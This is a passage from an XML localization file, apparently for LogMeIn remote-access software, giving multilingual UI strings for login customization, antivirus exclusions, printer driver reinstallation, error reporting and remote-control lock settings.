<pt-br>Mensagem de login personalizada</pt-br>
<nl>Aangepast bericht voor aanmelding</nl>
</msg>
<msg name="CUSTOMMSG.EXPLAIN">
<en>The customized login message entered above will be displayed on the %PRODUCTNAME login screen. 
If you enable the custom logo feature, any image you store in the %PRODUCTNAME installation directory named "customlogo.jpg" 
will be displayed on this screen.</en>
<de>Die angepasste, oben eingegebene Login-Meldung erscheint auf dem %PRODUCTNAME Login-Bildschirm. Wenn Sie die kundenspezifische Logo-Funktion einschalten, alle Bilder, die Sie in Ihrem %PRODUCTNAME Installationsverzeichnis namens customlogo.jpg speichern, werden am Bildshcirm erscheinen.</de>
<es>El mensaje de inicio de sesión personalizado introducido arriba se mostrará en la pantalla de inicio de sesión de %PRODUCTNAME. 
Si habilita la característica de logotipo personalizado, cualquier imagen que almacene en el directorio de instalación de %PRODUCTNAME con el nombre "customlogo.jpg" 
se mostrará en esta pantalla.</es>
<fr>Le message entré ci-dessus sera affiché sur l'écran d'ouverturede session de %PRODUCTNAME. 
Si vous activé l'option du logo personnalisé, toute image enregistrée avec le nom de « customlogo.jpg » et stockée dans le dossier d'installation de %PRODUCTNAME 
sera également affichée sur cet écran.</fr>
<it>Il messaggio di accesso personalizzato immesso sopra verrà visualizzato nella schermata di accesso di %PRODUCTNAME. 
Se si attiva la funzione di logo personalizzato, nella schermata verrà visualizzata qualsiasi immagine memorizzata nella directory di installazione di %PRODUCTNAME con il nome "customlogo.jpg".</it>
<ru>Введенное выше настроенное сообщение при входе будет отображаться на экране входа %PRODUCTNAME. 
Если включить функцию настройки эмблемы, то любое изображение, которое храниться в каталоге установки %PRODUCTNAME под именем "customlogo.jpg", будет отображаться на данном экране.</ru>
<ja>上記に入力されたカスタマイズされたログイン メッセージは、%PRODUCTNAME ログイン画面に表示されます。カスタム ロゴ機能を有効にした場合、%PRODUCTNAME インストール ディレクトリに保存される "customlogo.jpg" という名前のすべてのイメージが、この画面に表示されます。</ja>
<zh>在上方输入的自定义登录消息,将显示在 %PRODUCTNAME 登录屏幕中。如果启用了自定义徽标功能,则 %PRODUCTNAME 安装目录中存储的名为“customlogo.jpg”的所有图像都将显示在此屏幕中。</zh>
<ko>위에서 입력한 사용자 지정된 로그인 메시지가 %PRODUCTNAME 로그인 화면에 표시됩니다. 사용자 지정 로고 기능을 사용할 경우 "customlogo.jpg"라는 %PRODUCTNAME 설치 디렉터리에 저장하는 이미지가 이 화면에 표시됩니다.</ko>
<en-gb>The customised login message entered above will be displayed on the %PRODUCTNAME login screen. 
If you enable the custom logo feature, any image you store in the %PRODUCTNAME installation directory named "customlogo.jpg" will be displayed on this screen.</en-gb>
<hu>Az alább megadott testreszabott bejelentkezési üzenet fog megjelenni a %PRODUCTNAME bejelentkezési képernyőjén. 
Amennyiben bekapcsolja az egyéni logo funkciót, akkor bármilyen, a %PRODUCTNAME telepítési könyvtárban tárolt, "customlogo.jpg" nevű  
kép megjelenik ezen a képernyőn.</hu>
<pt-br>A mensagem de login personalizada digitada acima será exibida na tela de login do %PRODUCTNAME. 
Se você habilitar o recurso de logotipo personalizado, todas as imagens armazenadas no diretório de instalação do %PRODUCTNAME denominadas "customlogo.jpg"
serão exibidas nesta tela.</pt-br>
<nl>Het aangepaste bericht voor de aanmelding dat hierboven is ingevoerd, wordt weergegeven in het %PRODUCTNAME-aanmeldingsscherm.     Als u de optie voor de weergave van het aangepaste logo hebt ingeschakeld, wordt in dit scherm de afbeelding weergegeven die u in de installatiemap van %PRODUCTNAME met de bestandsnaam "customlogo.jpg" hebt opgeslagen.</nl>
</msg>
<msg name="CUSTOMMSG.TEXT">
<en>Display the following message on the login screen:</en>
<es>Mostrar el siguiente mensaje en la pantalla de inicio de sesión:</es>
<fr>Afficher le message suivant sur l'écran d'ouverture de session:</fr>
<de>Folgende Nachricht im Anmeldefenster anzeigen:</de>
<it>Nella schermata di accesso visualizza il seguente messaggio:</it>
<ru>Показать на экране входа следующее сообщение:</ru>
<ja>ログイン画面に次のメッセージを表示 :</ja>
<zh>在登录屏幕中显示以下消息:</zh>
<ko>로그인 화면에 다음 메시지를 표시합니다:</ko>
<en-gb>Display the following message on the login screen:</en-gb>
<hu>A következő üzenet megjelenítése a bejelentkezési képernyőn:</hu>
<pt-br>Exibir a mensagem a seguir na tela de login:</pt-br>
<nl>Het volgende bericht weergeven in het aanmeldingsscherm:</nl>
</msg>
<msg name="CUSTOMMSG.LOGO">
<en>Display a customized logo on the login screen:</en>
<es>Mostrar un logotipo personalizado en la pantalla de inicio de sesión:</es>
<fr>Afficher un logo personnalisé sur l'écran d'ouverture de session :</fr>
<de>Benutzerdefiniertes Logo im Anmeldefenster anzeigen:</de>
<it>Nella schermata di accesso visualizza un logo personalizzato:</it>
<ru>Показать на экране входа настроенную эмблему:</ru>
<ja>ログイン画面にカスタマイズされたロゴを表示 :</ja>
<zh>在登录屏幕中显示自定义徽标:</zh>
<ko>로그인 화면에 사용자 지정 로고를 표시합니다:</ko>
<en-gb>Display a customised logo on the login screen:</en-gb>
<hu>Testreszabott logo megjelenítése a bejelentkezési képernyőn:</hu>
<pt-br>Exibir um logotipo personalizado na tela de login:</pt-br>
<nl>Aangepast logo weergeven in het aanmeldingsscherm:</nl>
</msg>
<msg name="KASPERSKY">
<en>Kaspersky anti-virus</en>
<es>Kaspersky Anti-Virus</es>
<fr>Kaspersky Anti-Virus</fr>
<de>Kaspersky Anti-Virus</de>
<it>Kaspersky Anti-Virus</it>
<ru>Kaspersky Anti-Virus</ru>
<ja>Kaspersky Anti-Virus</ja>
<zh>Kaspersky Anti-Virus</zh>
<ko>Kaspersky Anti-Virus</ko>
<hu>Kaspersky Anti-Virus</hu>
<pt-br>Kaspersky Anti-Virus</pt-br>
<nl>Kaspersky Anti-Virus</nl>
</msg>
<msg name="FORCEACTIVATION">
<en>Retry activation</en>
<es>Reintentar activación</es>
<fr>Réessayer l'activation...</fr>
<de>Aktivierung wiederholen</de>
<it>Riprova l'attivazione</it>
<ru>Повторить активацию</ru>
<ja>有効化を再試行する</ja>
<zh>重试激活</zh>
<ko>활성화 다시 시도</ko>
<hu>Aktiválás újrapróbálása</hu>
<pt-br>Tentar ativação novamente</pt-br>
<nl>Opnieuw proberen te activeren</nl>
</msg>
<msg name="FORCEACTIVATION.NOTE">
<en>(Troubleshooting only)</en>
<es>(Solo solución de problemas)</es>
<fr>(Dépannage seulement)</fr>
<de>(Nur Problembehandlung)</de>
<it>(Solo risoluzione dei problemi)</it>
<ru>(Только устранение неполадок)</ru>
<ja>(トラブルシューティングのみ)</ja>
<zh>(仅限故障排除)</zh>
<ko>(문제 해결용)</ko>
<hu>(Csak hibaelhárítási célból)</hu>
<pt-br>(Solução de problemas apenas)</pt-br>
<nl>(Alleen probleemoplossing)</nl>
</msg>
<cat name="LOGMEINAV">
<msg name="TITLE">
<en>LogMeIn Antivirus</en>
<es>LogMeIn Antivirus</es>
<fr>LogMeIn Antivirus</fr>
<de>LogMeIn Antivirus</de>
<it>LogMeIn Antivirus</it>
<ru>LogMeIn Antivirus</ru>
<ja>LogMeIn Antivirus</ja>
<zh>LogMeIn Antivirus</zh>
<ko>LogMeIn Antivirus</ko>
<hu>LogMeIn Antivirus</hu>
<pt-br>LogMeIn Antivirus</pt-br>
<nl>LogMeIn Antivirus</nl>
</msg>
<msg name="CLEAREXCLUSIONS">
<en>Clear exclusion list</en>
<es>Borrar lista de exclusión</es>
<fr>Effacer la liste d’exclusions</fr>
<de>Ausschlussliste leeren</de>
<it>Cancella elenco di esclusione</it>
<ru>Очистить список исключений</ru>
<ja>除外するリストのクリア</ja>
<zh>清除排除列表</zh>
<ko>예외 목록 지우기</ko>
<hu>Kizárási lista kiürítése</hu>
<pt-br>Apagar lista de exclusão</pt-br>
<nl>Uitsluitingslijst wissen</nl>
</msg>
<msg name="CLEAREXCLUSIONS.NOTE">
<en>The next scan may return restored items to quarantine.</en>
<es>El próximo análisis podría devolver a la cuarentena los elementos restaurados.</es>
<fr>La prochaine analyse risque de renvoyer des éléments restaurés en quarantaine.</fr>
<de>Bei der nächsten Überprüfung können wiederhergestellte Elemente erneut in die Quarantäne verschoben werden.</de>
<it>La prossima scansione potrebbe riportare in quarantena elementi ripristinati.</it>
<ru>При следующем сканировании восстановленные объекты могут быть возвращены в карантин.</ru>
<ja>次のスキャンでは、復元された項目を検疫に戻すことがあります。</ja>
<zh>下一次扫描可能会将已还原的项目返回至隔离区。</zh>
<ko>다음 스캔은 복원된 항목을 격리 저장소로 반환할 수 있습니다.</ko>
<hu>A visszaállított elemek a következő vizsgálat során újra karanténba kerülhetnek.</hu>
<pt-br>A próxima varredura pode colocar itens restaurados novamente em quarentena.</pt-br>
<nl>Bij de volgende scan kunnen herstelde items teruggeplaatst worden in quarantaine.</nl>
</msg>
<msg name="CLEAREXCLUSIONS.DLG.TITLE">
<en>LogMeIn Antivirus Local Exclusions</en>
</msg>
<msg name="CLEAREXCLUSIONS.DLG.OK">
<en>Local Exclusions have been cleared. Previously restored items might be put into Quarantine.</en>
</msg>
<msg name="CLEAREXCLUSIONS.DLG.ERROR">
<en>Error occured while clearing Local Exclusions. Please try again later.\r\nIf the problem persists contact support.</en>
</msg>
</cat>
<msg name="PRINTERRESET">
<en>Reinstall printer driver</en>
<es>Reinstalar controlador de impresora</es>
<fr>Réinstaller le pilote d'imprimante</fr>
<de>Druckertreiber neu installieren</de>
<it>Reinstalla driver stampante</it>
<ru>Переустановить драйвер принтера</ru>
<ja>プリンター ドライバーの再インストール</ja>
<zh>重新安装打印机驱动程序</zh>
<ko>프린터 드라이버 다시 설치</ko>
<hu>Nyomtató-illesztőprogram újratelepítése</hu>
<pt-br>Reinstalar driver da impressora</pt-br>
<nl>Printerdriver opnieuw installeren</nl>
</msg>
<msg name="PRINTERRESET.NOTE">
<en>Reinstall the %PRODUCTNAME printer driver and restart the remote printing service.\nExisting jobs may be lost.</en>
<es>Reinstalar el controlador de impresora de %PRODUCTNAME y reiniciar el servicio de impresión remota.\nPuede que se pierdan los trabajos existentes.</es>
<fr>Réinstaller le pilote d'imprimante %PRODUCTNAME et redémarrer le service d'impression à distance.\nLes travaux existants risquent d'être perdus.</fr>
<de>Sie können den %PRODUCTNAME-Druckertreiber neu installieren und den Dienst für das Remote-Drucken neu starten.\nVorhandene Aufträge könnten verloren gehen.</de>
<it>Reinstalla il driver della stampante %PRODUCTNAME e riavvia il servizio di stampa remota.\nLe stampe esistenti potrebbero andare persi.</it>
<ru>Переустановка драйвера принтера %PRODUCTNAME и перезапуск службы удаленной печати.\nИмеющиеся задания могут быть утрачены.</ru>
<ja>%PRODUCTNAMEプリンタ ドライバーを再インストールしてリモート印刷サービスを再起動します。\n既存のジョブは失われる可能性があります。</ja>
<zh>重新安装 %PRODUCTNAME 打印机驱动程序并重启远程打印服务。\n现有任务可能会丢失。</zh>
<ko>%PRODUCTNAME 프린터 드라이버를 다시 설치하고 원격 인쇄 서비스를 다시 시작합니다.\n현재 작업이 사라질 수 있습니다.</ko>
<hu>A %PRODUCTNAME nyomtató-illesztőprogram újratelepítése, majd a távnyomtatási szolgáltatás újraindítása.\nAz aktuális nyomtatási feladatok törlődhetnek.</hu>
<pt-br>Reinstalar o driver da impressora %PRODUCTNAME e reiniciar o serviço de impressão remota.\nOs trabalhos atuais podem ser perdidos.</pt-br>
<nl>De %PRODUCTNAME printerdriver opnieuw installeren en het afdrukken op afstand opnieuw starten.\nBestaande printopdrachten kunnen verloren gaan.</nl>
</msg>
<msg name="PRINTERRESET.DIALOGTITLE">
<en>%PRODUCTNAME printer driver reinstalled</en>
<es>Controlador de impresora de %PRODUCTNAME reinstalado</es>
<fr>Pilote d'imprimante %PRODUCTNAME réinstallé.</fr>
<de>%PRODUCTNAME-Druckertreiber neu installiert</de>
<it>Driver della stampante %PRODUCTNAME reinstallato</it>
<ru>Переустановлен драйвер принтера %PRODUCTNAME</ru>
<ja>%PRODUCTNAMEプリンター ドライバー再インストールの完了</ja>
<zh>%PRODUCTNAME 打印机驱动程序已重新安装</zh>
<ko>%PRODUCTNAME 프린터 드라이버가 다시 설치됨</ko>
<hu>%PRODUCTNAME nyomtató illesztőprogramja újratelepítve</hu>
<pt-br>Driver da impressora %PRODUCTNAME reinstalado</pt-br>
<nl>%PRODUCTNAME printerdriver opnieuw geïnstalleerd</nl>
</msg>
<msg name="PRINTERRESET.DIALOGTEXT">
<en>The %PRODUCTNAME printer driver is now reinstalled.\nIf you are still unable to print remotely, contact LogMeIn support.</en>
<es>Se ha reinstalado el controlador de impresora de %PRODUCTNAME.\nSi sigue sin poder imprimir de forma remota, póngase en contacto con el servicio de asistencia técnica de LogMeIn.</es>
<fr>Le pilote d'imprimante %PRODUCTNAME a bien été réinstallé.\nSi vous ne parvenez toujours pas à imprimer à distance, contactez l'assistance LogMeIn.</fr>
<de>Der %PRODUCTNAME-Druckertreiber wurde soeben neu installiert.\nBitte wenden Sie sich an den Support von LogMeIn, falls das Remote-Drucken noch immer nicht funktioniert.</de>
<it>Il driver della stampante %PRODUCTNAME è stato reinstallato.\nSe ancora non riesci a stampare in remoto, contatta il Supporto di LogMeIn.</it>
<ru>Драйвер принтера %PRODUCTNAME был переустановлен.\nЕсли все равно не удается осуществить удаленную печать, обратитесь в службу поддержки LogMeIn.</ru>
<ja>%PRODUCTNAMEプリンター ドライバーが再インストールされました。\nリモート印刷できない場合は、LogMeIn サポートまでお問い合わせください。</ja>
<zh>%PRODUCTNAME 打印机驱动程序现已重新安装。\n如果仍然无法远程打印,请联系 LogMeIn 支持。</zh>
<ko>이제 %PRODUCTNAME 프린터 드라이버가 다시 설치되었습니다.\n계속 원격 프린트를 수행할 수 없을 경우 LogMeIn 지원부에 문의하십시오.</ko>
<hu>A %PRODUCTNAME nyomtató illesztőprogramjának újratelepítése megtörtént.\nHa továbbra sem tud távolról nyomtatni, forduljon a LogMeIn ügyfélszolgálatához.</hu>
<pt-br>O driver da impressora %PRODUCTNAME foi reinstalado.\nSe você ainda não conseguir imprimir remotamente, entre em contato com o suporte da LogMeIn.</pt-br>
<nl>De %PRODUCTNAME printerdriver is nu opnieuw geïnstalleerd.\nAls u nog steeds niet op afstand kunt afdrukken, neem dan contact op met LogMeIn Support.</nl>
</msg>
<msg name="PRINTERRESET.PROGRESS.TEXT">
<en>In progress...</en>
<es>En curso...</es>
<fr>En cours...</fr>
<de>Vorgang läuft...</de>
<it>In corso...</it>
<ru>Выполняется…</ru>
<ja>処理しています...</ja>
<zh>在进行当中...</zh>
<ko>진행 중...</ko>
<hu>Folyamatban...</hu>
<pt-br>Em andamento...</pt-br>
<nl>Wordt nu verwerkt...</nl>
</msg>
<cat name="CRASHDUMPINFO">
<msg name="TITLE">
<en>Software error reporting</en>
<en-gb>Software error reporting</en-gb>
<es>Informe de errores de software</es>
<fr>Rapport d'erreur logicielle</fr>
<de>Softwarefehler - Bericht</de>
<it>Report di errore del software</it>
<ru>Отчеты об ошибках программного обеспечения</ru>
<ja>ソフトウェア エラーのレポート</ja>
<zh>软件错误报告</zh>
<ko>소프트웨어 오류 보고</ko>
<hu>Szoftverhiba-jelentés</hu>
<pt-br>Relatórios de erro de software</pt-br>
<nl>Rapportage softwarefout</nl>
</msg>
<msg brand="LMI" name="TITLE">
<en>Error Reporting</en>
<es>Informes de errores</es>
<de>Fehlerberichte</de>
<fr>Rapports d'erreurs</fr>
<it>Segnalazione errori</it>
<ru>Отчеты об ошибках</ru>
<ja>エラー報告</ja>
<zh>错误报告</zh>
<ko>오류 보고</ko>
<hu>Hibajelentés</hu>
<pt-br>Relatório de erros</pt-br>
<nl>Rapportage van fouten</nl>
<en-gb>Error Reporting</en-gb>
</msg>
<msg name="USERDECIDE">
<en>Ask the user what to do</en>
<es>Preguntar al usuario qué hacer</es>
<de>Benutzer fragen</de>
<fr>Interroger l'utilisateur sur la marche à suivre</fr>
<it>Chiedi all'utente che cosa fare</it>
<ru>Спрашивать пользователя о дальнейших действиях</ru>
<ja>ユーザが指定</ja>
<zh>询问用户要做什么</zh>
<ko>사용자에게 문의</ko>
<en-gb>Ask the user what to do</en-gb>
<hu>Kérdezze meg a felhasználót</hu>
<pt-br>Perguntar ao usuário o que fazer</pt-br>
<nl>Vragen wat de gebruiker wil doen</nl>
</msg>
<msg name="DONTSEND">
<en>Never send an error report</en>
<es>No enviar nunca un informe de errores</es>
<de>Fehlerbericht nie senden</de>
<fr>Ne jamais envoyer de rapport d'erreur</fr>
<it>Non inviare mai un report di errore</it>
<ru>Никогда не отправлять отчет об ошибке</ru>
<ja>エラー レポートを送信しない</ja>
<zh>从不发送错误报告</zh>
<ko>오류 보고서 보내지 않음</ko>
<en-gb>Never send an error report</en-gb>
<hu>Soha ne küldjön hibajelentést</hu>
<pt-br>Nunca enviar um relatório de erro</pt-br>
<nl>Nooit een foutrapport verzenden</nl>
</msg>
<msg name="SEND">
<en>Always send an error report</en>
<es>Enviar siempre un informe de errores</es>
<de>Fehlerbericht immer senden</de>
<fr>Toujours envoyer un rapport d'erreur</fr>
<it>Invia sempre un report di errore</it>
<ru>Всегда отправлять отчет об ошибке</ru>
<ja>常にエラー レポートを送信する</ja>
<zh>始终发送错误报告</zh>
<ko>항상 오류 보고서 보냄</ko>
<en-gb>Always send an error report</en-gb>
<hu>Mindig küldjön hibajelentést</hu>
<pt-br>Sempre enviar um relatório de erro</pt-br>
<nl>Altijd een foutrapport verzenden</nl>
</msg>
<msg name="SEND.NOTE">
<en>Please keep this option switched on to help us improve the quality of the software.</en>
<es>Por favor, mantenga esta opción activada para que podamos mejorar la calidad del software.</es>
<de>Bitte lassen Sie diese Option aktiviert, um uns dabei zu helfen, die Qualität unserer Software zu verbessern.</de>
<fr>Merci d'activer cette option pour nous aider à améliorer la qualité de ce logiciel.</fr>
<it>Si prega di mantenere attivata questa opzione per aiutarci a migliorare la qualità del software.</it>
<ru>Оставьте данный параметр включенным, чтобы помочь нам улучшать качество программного обеспечения.</ru>
<ja>弊社のソフトウェア品質向上のために、このオプションはオンのままにしてください。</ja>
<zh>请打开此选项以帮助我们提高软件质量。</zh>
<ko>소프트웨어의 품질 향상에 대한 도움을 얻으려면 이 옵션을 켜두십시오.</ko>
<hu>Tartsa bekapcsolva ezt a funkciót, hogy tovább javíthassuk a szoftver minőségét.</hu>
<pt-br>Mantenha esta opção ativada para nos ajudar a melhorar a qualidade do software.</pt-br>
<nl>Laat deze functie ingeschakeld zodat wij in staat zijn de kwaliteit van de software te verbeteren.</nl>
<en-gb>Please keep this option switched on to help us improve the quality of the software.</en-gb>
</msg>
<msg name="SUBTITLE">
<en>When %PRODUCTNAME detects a software error:</en>
<es>Si %PRODUCTNAME detecta un error de software:</es>
<de>Wenn  %PRODUCTNAME einen Softwarefehler feststellt:</de>
<fr>Lorsque %PRODUCTNAME détecte une erreur logicielle :</fr>
<it>Quando %PRODUCTNAME rileva un errore software:</it>
<ru>Действие при обнаружении программой %PRODUCTNAME ошибки ПО:</ru>
<ja>%PRODUCTNAME がソフトウェア エラーを検出した場合:</ja>
<zh>当 %PRODUCTNAME 检测到软件错误时:</zh>
<ko>%PRODUCTNAME이(가) 소프트웨어 오류 탐지 시:</ko>
<hu>Amikor a %PRODUCTNAME szoftverhibát észlel:</hu>
<pt-br>Quando o %PRODUCTNAME detectar um erro de software:</pt-br>
<nl>Als %PRODUCTNAME een softwarefout detecteert:</nl>
<en-gb>When %PRODUCTNAME detects a software error:</en-gb>
</msg>
</cat>
</cat>
<!-- CONFIG.REMCTRL -->
<cat name="REMCTRL">
<msg name="TITLE">
<en>Remote Control</en>
<de>Fernsteuerung</de>
<ja>リモート制御</ja>
<es>Control Remoto</es>
<fr>Contrôle à Distance</fr>
<it>Controllo remoto</it>
<ru>Удаленное управление</ru>
<zh>远程控制</zh>
<ko>원격 제어</ko>
<en-gb>Remote Control</en-gb>
<hu>Távvezérlő</hu>
<pt-br>Controle remoto</pt-br>
<nl>Besturing op afstand</nl>
</msg>
<msg name="TITLE.LMIPRO">
<en>Remote Control Settings</en>
<de>Einstellungen für die Fernsteuerung</de>
<es>Configuración del Control Remoto</es>
<fr>Paramètres du Contrôle à Distance</fr>
<it>Impostazioni Controllo remoto</it>
<ru>Настройки удаленного управления</ru>
<ja>リモート制御の設定</ja>
<zh>远程控制设置</zh>
<ko>원격 제어 설정</ko>
<en-gb>Remote Control Settings</en-gb>
<hu>Távvezérlő beállítások</hu>
<pt-br>Configurações do Remote Control</pt-br>
<nl>Instellingen voor Besturing op afstand</nl>
</msg>
<msg name="AUDIBLENOTIFICATION">
<en>Visible &amp; Audible Notification</en>
<es>Notificación sonora &amp; visible</es>
<fr>Notification sonore</fr>
<de>Sichtbare und hörbare Benachrichtigung</de>
<it>Notifica visiva e acustica</it>
<ru>Визуальные è звуковые оповещения</ru>
<ja>視覚的通知と音声通知</ja>
<zh>可见的有声通知</zh>
<ko>화면에 표시 및 소리로 알림</ko>
<en-gb>Visible &amp; Audible Notification</en-gb>
<hu>Látható és hallható értesítés</hu>
<pt-br>Notificação visível e audível</pt-br>
<nl>Melding met visuele weergave en met geluid</nl>
</msg>
<msg name="ASKPERMISSION">
<en>Interactive User's Permission</en>
<de>Berechtigung des interaktiven Benutzers</de>
<es>Permiso del usuario interactivo</es>
<fr>Permission de l'Utilisateur Interactif</fr>
<it>Autorizzazione utente interattivo</it>
<ru>Разрешения интерактивного пользователя</ru>
<ja>インタラクティブ ユーザの権限</ja>
<zh>交互式用户的权限</zh>
<ko>대화형 사용자의 권한</ko>
<en-gb>Interactive User's Permission</en-gb>
<hu>Interaktív felhasználói engedély</hu>
<pt-br>Permissão do usuário interativo</pt-br>
<nl>Toestemming van de interactieve gebruiker</nl>
</msg>
<msg name="GENERALSETTINGS">
<en>General Settings</en>
<de>Allgemeine Einstellungen</de>
<es>Configuración general</es>
<fr>Paramètres Généraux</fr>
<it>Impostazioni generali</it>
<ru>Общие параметры</ru>
<ja>全般の設定</ja>
<zh>常规设置</zh>
<ko>일반 설정</ko>
<en-gb>General Settings</en-gb>
<hu>Általános beállítások</hu>
<pt-br>Configurações gerais</pt-br>
<nl>Algemene instellingen</nl>
</msg>
<msg name="DisableWallpaper">
<en>Automatically disable wallpaper:</en>
<de>Hintergrundbild automatisch deaktivieren:</de>
<es>Fondo de pantalla deshabilitado automáticamente:</es>
<fr>Désactivation automatique de l'arrière-plan:</fr>
<it>Disattiva automaticamente sfondo:</it>
<ru>Автоматически отключить фоновый рисунок:</ru>
<ja>壁紙を自動的に無効にする :</ja>
<zh>自动禁用墙纸:</zh>
<ko>자동으로 배경 사용 안 함:</ko>
<en-gb>Automatically disable wallpaper:</en-gb>
<hu>Háttérkép automatikus kikapcsolása:</hu>
<pt-br>Desabilitar papel de parede automaticamente:</pt-br>
<nl>Bureaubladachtergrond automatisch uitschakelen:</nl>
</msg>
<msg brand="LMI" name="DisableWallpaper">
<en>Disable wallpaper and user interface effects on host computer</en>
<es>Desactivar el fondo de pantalla y los efectos de interfaz de usuario en el ordenador host</es>
<de>Hintergrundbild und Darstellungseffekte auf Hostcomputer deaktivieren</de>
<fr>Désactiver le papier-peint et les effets d'interface sur l'ordinateur hôte</fr>
<it>Disattiva effetti sfondo e interfaccia utente sul computer host</it>
<ru>Отключить фоновый рисунок рабочего стола и эффекты интерфейса пользователя на хост-компьютере</ru>
<ja>ホスト コンピュータ上の壁紙およびユーザ インターフェイス効果を無効にする</ja>
<zh>禁用影响主机计算机的壁纸和用户界面</zh>
<ko>호스트 컴퓨터에서 배경 및 사용자 인터페이스 효과 사용 안 함</ko>
<hu>Háttérkép és a felhasználói felület effektusainak letiltása a gazdaszámítógépen</hu>
<pt-br>Desabilitar efeitos de papel de parede e interface do usuário no computador host</pt-br>
<nl>Bureaubladachtergrond en effecten van de gebruikersinterface uitschakelen op de hostcomputer</nl>
<en-gb>Disable wallpaper and user interface effects on host computer</en-gb>
</msg>
<msg name="IdleTimeAllowed">
<en>Idle time allowed:</en>
<de>Zulässige Leerlaufzeit:</de>
<es>Tiempo en reposo permitido:</es>
<fr>Délai d'inactivité autorisé:</fr>
<it>Tempo di inattività consentito:</it>
<ru>Разрешенное время простоя:</ru>
<ja>許可されたアイドル時間 :</ja>
<zh>允许的闲置时间:</zh>
<ko>허용되는 유휴 시간:</ko>
<en-gb>Idle time allowed:</en-gb>
<hu>Engedélyezett üresjárati idő:</hu>
<pt-br>Tempo ocioso permitido:</pt-br>
<nl>Tijd niet-actief toegestaan:</nl>
</msg>
<msg name="IdleTimeAllowedExplain">
<en>min: 10s, max: 24h</en>
<de>min: 10s, max: 24h</de>
<es>mín.: 10 seg., máx.: 24 h.</es>
<fr>min: 10s, max: 24h</fr>
<it>min.: 10 sec., max: 24 h</it>
<ru>мин: 10 с, макс: 24 ч</ru>
<ja>最小 :10 秒、最大 :24 時間</ja>
<zh>最短:10s、最长:24h</zh>
<ko>최소: 10초, 최대: 24시간</ko>
<en-gb>min: 10s, max: 24h</en-gb>
<hu>minimum: 10 másodperc, maximum: 24 óra</hu>
<pt-br>min: 10 s, máx: 24 h</pt-br>
<nl>min.: 10 s, max.: 24 u</nl>
</msg>
<msg name="AutoPan">
<en>Auto panning:</en>
<de>Auto panning:</de>
<es>Auto panning:</es>
<fr>Défilement automatique</fr>
<it>Panoramica automatica:</it>
<ru>Автоматическое панорамирование:</ru>
<ja>自動パニング</ja>
<zh>自动扫视:</zh>
<ko>자동 패닝:</ko>
<en-gb>Auto panning:</en-gb>
<hu>Automatikus panoráma:</hu>
<pt-br>Panorâmica automática:</pt-br>
<nl>Automatische beeldscherm-panning:</nl>
</msg>
<msg name="LockConsole">
<en>Lock console when connection broken:</en>
<de>Computer bei Abbruch der Verbindung sperren:</de>
<es>Bloquear la consola cuando se pierde la conexión:</es>
<fr>Bloquer la console lorsque la connexion est interrompue:</fr>
<it>Blocca la console quando viene interrotta la connessione:</it>
<ru>Блокировать консоль при разрыве подключения:</ru>
<ja>接続が切断された場合、コンソールをロックする :</ja>
<zh>连接断开时锁定控制台:</zh>
<ko>연결 중단 시 콘솔 잠금:</ko>
<en-gb>Lock console when connection broken:</en-gb>
<hu>Konzol zárolása kapcsolat megszakadásakor:</hu>
<pt-br>Bloquear console quando conexão for quebrada:</pt-br>
<nl>Console blokkeren als verbinding is verbroken:</nl>
</msg>
<msg brand="LMI" name="LockConsole">
<en>Lock when connection has been lost</en>
<es>Bloquear cuando se haya perdido la conexión</es>
<de>Bei Verbindungsabbruch sperren</de>
<fr>Verrouiller en cas de connexion perdue</fr>
<it>Blocca quando la connessione è andata perduta</it>
<ru>Блокировать при разрыве соединения</ru>
<ja>接続が失われた場合はロックする</ja>
<zh>连接断开时锁定</zh>
<ko>연결이 끊어지면 잠금</ko>
<hu>Zárolás a kapcsolat megszakadása esetén</hu>
<pt-br>Bloquear quando a conexão tiver sido perdida</pt-br>
<nl>Blokkeren wanneer de verbinding verbroken is</nl>
<en-gb>Lock when connection has been lost</en-gb>
</msg>
<msg name="LockConsoleTimeout">
<en>Lock console when connection times out:</en>
<de>Computer bei Timeout der Verbindung sperren:</de>
<es>Bloquear la consola cuando se caduca la conexión:</es>
<fr>Bloquer la console lorsque le délai de connexion est dépassé:</fr>
<it>Blocca la console quando scade la connessione:</it>
<ru>Блокировать консоль при истечении времени ожидания подключения:</ru>
<ja>接続がタイムアウトした場合、コンソールをロックする :</ja>
<zh>连接超时时锁定控制台:</zh>
<ko>연결 시간 초과 시 콘솔 잠금:</ko>
<en-gb>Lock console when connection times out:</en-gb>
<hu>Konzol zárolása kapcsolat időtúllépésekor:</hu>
<pt-br>Bloquear console quando conexão expirar:</pt-br>
<nl>Console blokkeren bij time-out van verbinding:</nl>
</msg>
<msg brand="LMI" name="LockConsoleTimeout">
<en>Lock when connection has been timed out</en>
<es>Bloquear cuando la conexión haya caducado</es>
<de>Bei Zeitüberschreitung der Verbindung sperren</de>
<fr>Verrouiller en cas d'expiration de la connexion</fr>
<it>Blocca quando la connessione è scaduta</it>
<ru>Блокировать по истечении времени ожидания соединения</ru>
<ja>接続がタイムアウトになった場合はロックする</ja>
<zh>连接超时时锁定</zh>
<ko>연결 시간이 초과되면 잠금</ko>
<hu>Zárolás a kapcsolat időtúllépése esetén</hu>
<pt-br>Bloquear quando a conexão tiver expirado</pt-br>
<nl>Blokkeren wanneer een time-out voor de verbinding is opgetreden</nl>
<en-gb>Lock when connection has been timed out</en-gb>
</msg>
<msg name="LockConsoleAlways">
<en>Always lock console when remote control disconnects:</en>
<de>Computer sperren, wenn die Fernsteuerung getrennt wird.</de>
<es>Bloquear siempre la consola cuando se desconecta el control remoto:</es>
<fr>Toujours bloquer la console lorsque l'accès à distance se déconnecte:</fr>
<it>Blocca sempre la console quando si disconnette il controllo remoto:</it>
<ru>Всегда блокировать консоль при отключении удаленного управления:</ru>
<ja>リモート制御の接続が切断された場合は常にコンソールをロックする :</ja>
<zh>在断开远程控制连接时,始终锁定控制台:</zh>
<ko>원격 제어 연결 해제 시 항상 콘솔 잠금:</ko>
<en-gb>Always lock console when remote control disconnects:</en-gb>
<hu>Konzol zárolása mindig, ha a távvezérlés szétcsatlakozik:</hu>
<pt-br>Sempre bloquear o console quando o remote control for desconectado:</pt-br>
<nl>Console altijd blokkeren bij verbreken van verbinding door besturing op afstand:</nl>
</msg>
<msg brand="LMI" name="LockConsoleAlways">
<en>Always lock the host after remote control</en>
<es>Bloquear el host siempre después del control remoto</es>
<de>Host nach Fernsteuerung immer sperren</de>
<fr>Toujours verrouiller l'hôte après le contrôle à distance</fr>
<it>Blocca sempre l'host dopo il controllo remoto</it>
<ru>Всегда блокировать хост после удаленного управления</ru>
<ja>リモート制御の後は必ずホストをロックする</ja>
<zh>始终在远程控制后锁定主机</zh>
